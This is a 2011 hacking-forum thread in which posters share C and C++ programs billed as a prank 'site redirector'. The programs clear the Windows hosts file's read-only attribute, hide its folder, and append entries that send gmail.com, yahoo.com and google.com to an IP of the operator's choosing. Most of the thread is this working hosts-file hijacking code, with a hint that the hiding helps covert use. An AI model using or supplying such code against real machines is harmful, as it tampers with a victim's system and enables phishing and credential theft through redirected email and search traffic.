IdinAK255 Posted May 30, 2011 Share Posted May 30, 2011 This project started out as a joke. I decided that I was going to make a program that blocked a certain online game which a friend of mine is absolutely addicted to. Then I took that program and modified it so that it would instead redirect the user to another website instead of just blocking it. I know it's not very hard to code such a program (took me a few minutes), but I thought I would give something back to the Hak5 forums because the show is just awesome. I just started watching nearly a week ago and I find it to be very interesting and informative. I'm constantly working on different projects and since it's almost summer time you can bet that I will be coding a lot. When I finish some of my more interesting projects I will post them here. Anyway, the source code is below. // Author: int main() from http://forums.hak5.org/ // Project name: Windows Site Redirector #include <stdio.h> #include <windows.h> #define BUFFER 100 // BUFFER is used to define the amount of bytes that should be allocated to each site's string value. #define NUM_SITES 1 // NUM_SITES indicates the number of sites you would like to redirect. void redirectSite(void); void main(void) { /* The two sets of if statements which follow disable the read only property of the hosts file and hide the folder which it's located in. These could be of use if you depending on what you are going to be using this program for... :0 */ if (GetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\hosts") == FILE_ATTRIBUTE_READONLY) SetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\hosts", FILE_ATTRIBUTE_NORMAL); if (GetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\") != FILE_ATTRIBUTE_HIDDEN) SetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\", FILE_ATTRIBUTE_HIDDEN); redirectSite(); } void redirectSite(void) { int i; /* intended_site is a two dimensional character array (string array) which is used to indicate the sites which you would like the user to be redirected from. For each site you must create two row elements in the array of these two forms. */ char intended_site[NUM_SITES * 2][bUFFER] { "gmail.com", // Form 1: (sitenamegoeshere.com) "www.gmail.com" // Form 2: (www.sitenamegoeshere.com) }; /* redirected_site_ip is a two dimensional character array (string array) which is used to indicate the IP addresses of the sites which you would like the user to be redirected to. Make sure that each IP address in redirected_site_ip corresponds to the correct site in intended_site. */ char redirected_site_ip[NUM_SITES * 2][bUFFER] { "IP address to be redirected to", "Same as above" } FILE *hosts; hosts = fopen("C:\\Windows\\System32\\drivers\\etc\\hosts", "r+"); // Open the hosts file for writing. fseek(hosts, 0, SEEK_END); fprintf(hosts, "\n"); /* Writes the elements from intended_site and redirected_site_ip in the correct format into the hosts file. */ for (i = 0; i < NUM_SITES; i++) { fprintf(hosts, "%s\t%s\n", redirected_site_ip, intended_site); } fclose(hosts); // Closes the hosts file. } Quote Link to comment Share on other sites More sharing options...
Infiltrator Posted May 31, 2011 Share Posted May 31, 2011 (edited) Or you could set up a transparent proxy. Would still bring the same result. But a very nice idea, thanks for posting that up... Edited May 31, 2011 by Infiltrator Quote Link to comment Share on other sites More sharing options...
IdinAK255 Posted May 31, 2011 Author Share Posted May 31, 2011 Or you could set up a transparent proxy. Would still bring the same result. But a very nice idea, thanks for posting that up... Thanks. Also, I'm sorry for the lack of indentation in my code. I didn't realize that my code copied over without proper indentation until I posted it the topic. Quote Link to comment Share on other sites More sharing options...
Netshroud Posted May 31, 2011 Share Posted May 31, 2011 (edited) Use tags to keep the indentation. Edited May 31, 2011 by Netshroud Quote Link to comment Share on other sites More sharing options...
IdinAK255 Posted June 1, 2011 Author Share Posted June 1, 2011 I just realized there were some errors in my original code. Here's the working code. // Author: int main() from http://forums.hak5.org/ // Project name: Windows Site Redirector #include <stdio.h> #include <windows.h> #define BUFFER 100 // BUFFER is used to define the amount of bytes that should be allocated to each site's string value. #define NUM_SITES 1 // NUM_SITES indicates the number of sites you would like to redirect. void redirectSite(void); void main(void) { /* The two sets of if statements which follow disable the read only property of the hosts file and hide the folder which it's located in. This could be of use depending on what you are going to be using this program for... :0 */ if (GetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\hosts") == FILE_ATTRIBUTE_READONLY) SetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\hosts", FILE_ATTRIBUTE_NORMAL); if (GetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\") != FILE_ATTRIBUTE_HIDDEN) SetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\", FILE_ATTRIBUTE_HIDDEN); redirectSite(); } void redirectSite(void) { int i; /* intended_site is a two dimensional character array (string array) which is used to indicate the sites which you would like the user to be redirected from. For each site you must create two row elements in the array of these two forms. */ char intended_site[NUM_SITES * 2][BUFFER] = { "gmail.com", // Form 1: (sitenamegoeshere.com) "www.gmail.com" // Form 2: (www.sitenamegoeshere.com) }; /* redirected_site_ip is a two dimensional character array (string array) which is used to indicate the IP addresses of the sites which you would like the user to be redirected to. Make sure that each IP address in redirected_site_ip corresponds to the correct site in intended_site. */ char redirected_site_ip[NUM_SITES * 2][BUFFER] = { "IP address to be redirected to", "Same as above" }; FILE *hosts; hosts = fopen("C:\\Windows\\System32\\drivers\\etc\\hosts", "r+"); // Open the hosts file for writing. fseek(hosts, 0, SEEK_END); fprintf(hosts, "\n"); /* Writes the elements from intended_site and redirected_site_ip in the correct format into the hosts file. */ for (i = 0; i < NUM_SITES; i++) { fprintf(hosts, "%s\t%s\n", redirected_site_ip[i], intended_site[i]); } fclose(hosts); // Closes the hosts file. } Quote Link to comment Share on other sites More sharing options...
UnDeFiNeD Posted June 17, 2011 Share Posted June 17, 2011 Here is my take on it: // Author: int main() from http://forums.hak5.org/ // Project name: Windows Site Redirector #include <iostream> #include <fstream> #include <windows.h> #define BUFFER 100 // BUFFER is used to define the amount of bytes that should be allocated to each site's string value. using namespace std; void redirectSite(void); int main(void) { // Since it returns a number that is a combination of attributes, we use modulus arithmatic to determine if the // returned value is odd. If it is, the file is read only and we need to set new attribute... if (GetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\hosts")%2 == 1) SetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\hosts", FILE_ATTRIBUTE_NORMAL); // This will always set the file hidden because GetFileAttributes() will never equal the value of FILE_ATTRIBUTE_HIDDEN // since it returns all attributes in the form of a number. Need a way to extract the value maybe %32 or something, not sure... if (GetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\") != FILE_ATTRIBUTE_HIDDEN) SetFileAttributes("C:\\Windows\\System32\\drivers\\etc\\", FILE_ATTRIBUTE_HIDDEN); redirectSite(); return 0; } void redirectSite(void) { char site_redirects[][2][BUFFER] = // No need for 2 arrays { { "gmail.com", "IP address to be redirected to" }, { "www.gmail.com", "IP address to be redirected to" }, { "yahoo.com", "IP address to be redirected to" }, { "www.yahoo.com", "IP address to be redirected to" }, { "google.com", "IP address to be redirected to" }, { "www.google.com", "IP address to be redirected to" } }; int iNumSites = sizeof(site_redirects)/(sizeof(char)*BUFFER*2); // Dynamically calculate the number of sites cout << "You are adding " << iNumSites << " to the hosts file." << endl; // Proof for non-believers ofstream out; out.open("C:\\Windows\\System32\\drivers\\etc\\hosts", ios_base::out | ios_base::app); if (!out.is_open()) cout << "There was an error opening the hosts file for writing." << endl; else { for (int i = 0; i < iNumSites; i++) out << site_redirects[i][0] << "\t" << site_redirects[i][1] << endl; // Go through the sites and add them cout << iNumSites << " sites successfully written to the hosts file." << endl; } out.close(); } Quote Link to comment Share on other sites More sharing options...
psydT0ne Posted December 11, 2011 Share Posted December 11, 2011 I remember a program like this from many years ago by a hacker who went by the alias DarkPain. Only it created a web server locally that ran a portscan on the connecting pc and then redirected it to whatever site you wanted. Just thought i'd throw that in Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.